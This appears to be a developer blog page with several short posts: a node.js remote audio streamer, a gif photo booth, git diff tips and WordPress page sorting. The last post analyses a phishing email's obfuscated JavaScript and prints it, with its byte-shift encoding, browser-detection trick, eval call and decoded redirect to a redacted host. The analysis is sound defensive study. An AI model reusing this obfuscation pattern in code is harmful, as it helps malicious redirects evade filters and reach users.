Control streaming audio on a remote PC with node.js

Over the weekend I got impatient waiting for my Chromecast to arrive so I built netbook-web-streamer. It’s a node.js app that loads URLs in an iframe on a remote PC that’s plugged into your large speakers. I use it to listen to playlists on songza and individual songs from youtube.

To play a song, enter it in the form on the homepage, or click the bookmarklet when you’re on a page you want the remote PC to load.

netbook audio streamer UI

How this works

There are 3 routes `’/’`, `’/loadUrl’`, and `’/audio’`.

`/` is the homepage. From there you can send xhr GET requests to `/loadUrl` with a `&url` param. The node.js view then broadcasts a socket.io event to a client that has loaded `/audio`. The event handler on the client takes the url value from the message and loads it in an iframe.

The only complication is that youtube forbids running videos on the main site in an iframe by sending an x-frame-options header. The workaround is to extract the video id from the url and turn it into an embed url.

Build an animated gif photo booth with HTML5 and JavaScript

I built an animated gif photobooth for the Indeed July 2013 hackathon.

Screen Shot 2013-07-19 at 2.14.51 PM

We got some good shots.

Gif photobeerhighfive

If you just want to run the app, the source is on GitHub: https://github.com/NickCarneiro/gifbooth. There’s no public demo because the code isn’t terribly secure and the images it produces are about 3mb each. But don’t let that stop you from playing with it.

If you want to implement something like this on your own, avoid Flash-based libraries like “jquery-webcam-plugin” or “scriptcam”. They’re a waste of time. New versions of Chrome let you do everything you want through Canvas and WebRTC’s Stream API.

First, read MDN’s excellent article, Taking webcam photos. They have annotated some JavaScript that shows how to grab a frame from a `<video>` stream, write it to a canvas, and `getImageData()` into the src attribute of an image element to display it on the page for a user.

I put some jQuery on top of their code to capture a bunch of frames in quick succession and POST the base-64 encoded data urls to a Flask backend. The Flask view waits until it receives every frame in the set and stitches them together with ImageMagick.

The ImageMagick part is key. PIL and Pillow are huge timesucks for something this simple. ffmpeg is a nightmare. I dare you to look at its man page. If you ever want to create gifs, just use ImageMagick. It’s by far the easiest option.

Anyway, there are a few big issues with this project that are symptomatic of a hackathon. First, it takes a few CPU-intensive milliseconds in between image captures to load the canvas into a data url. This holds up the one and only thread, temporarily locking up the UI and preventing you from having a buttery smooth framerate. You could probably fix this with Web Workers. The other problem is that uploading 15 base64 strings containing medium-sized images takes longer than sending binary data like you would for a multipart/form-data file upload. You could get around this by writing the images to files with the File API and then uploading them from disk. And finally, the batches of images are grouped only by millisecond timestamp, so a unique identifier should be added if you want to get this ready for prime time.

git diff with full context

By default, git diff only spits out three lines of context above and below your changes. However, it’s possible to include the entire file. Generate a patch of some changes with full context:

git diff --no-prefix -U1000 > /tmp/mydiff.patch

If you’ve already committed your changes, you can use git show with the same syntax:

git show --no-prefix -U1000 > /tmp/mydiff.patch

These are useful for pre-commit code reviews in Crucible. You can just upload the resulting patch file.

The –no-prefix option gets rid of the “/a/” and “/b/” destination prefixes that show up by default.

The -U flag specifies lines of context. You might need to increase this if there are more than 1000 lines between your changes.

If you don’t want to type all that out, add an alias in your ~/.gitconfig file.

[alias]
 code-review = diff -p --no-prefix -U1000

Then you can just do:

git code-review > /tmp/mydiff.patch

 

WordPress has great docs

See those nicely ordered links in the sidebar?

“Projects, Mentions, Web Development Tools”

Thank the WordPress documentarians for that. This theme (wp_svbtle) doesn’t sort them by page_order by default. You have to add this snippet in its header.php.

$pagesArgs = Array(
    'sort_order' => 'ASC',
    'sort_column' => 'menu_order'
);      
$pages = get_pages($pagesArgs);

I know this because the WordPress docs are phenomenal. Check it: http://codex.wordpress.org/Function_Reference/get_pages

This is a blueprint for every software project.

Usage
Default Usage
Params (with human-friendly explanations)
Return (way faster than inspecting in a debugger)
Example (contains multiple)
Changelog
Source File (saves so much time if you want to read the code)
Related (similar functions, great for devs unfamiliar with the library)

Even the page is nicely formatted. WordPress deserves a hand. I know they had 10 years to get it right, but it’s still something to strive for.

Related: My buddy Alban tells of his sordid past with PHP.

Malicious JavaScript snippet

I got this snippet in an html file attached to a phishing email.

d=document;a=[0x78,0x63,0x74,0x33,0x7f, etc...];for(i=0;i<a.length;i++){a[i]-=2;}
try{d.body++}catch(q){zz=0;}try{zz&=2}catch(q){zz=1;}
if(!zz)eval(String.fromCharCode.apply(String,a));

I’ve reformatted and annotated it for readability.

// hide redirect as ascii bytes
a = [0x78,0x63,0x74,0x33, etc...];

// "decrypt" our malicious code
// maybe this is good enough to defeat filters looking for encoded redirects?
for (i = 0; i < a.length; i++) {
    a[i] -= 2;
}

//detect if we're in a real browser
try {
	//throws exception because you can't increment a node
    document.body++
} catch(e) {
    // running in a real browser
    notInBrowser = 0;
}

try {
    //this throws an exception if we didn't throw an exception above
    //(notInBrowser will be undefined)
    notInBrowser &= 2
}
catch(e) {
    notInBrowser = 1;
}
// if we are in a browser, do the redirect
// remember 0 == false and 1 == true 
if (!notInBrowser) {
    eval(String.fromCharCode.apply(String,a));
}

The decrypted code fed to the eval:

var1=49;
var2=var1;
if(var1==var2) {document.location="http://[redacted]:8080/forum/links/column.php";}

I’m not sure what was at the url. It was probably a phishing page or a browser exploit. If anyone can explain why they used a second try-catch instead of an if-statement, let me know.

This guy has a similar post that explains the document.body++.
http://jeffreysambells.com/2012/12/12/anatomy-of-a-hack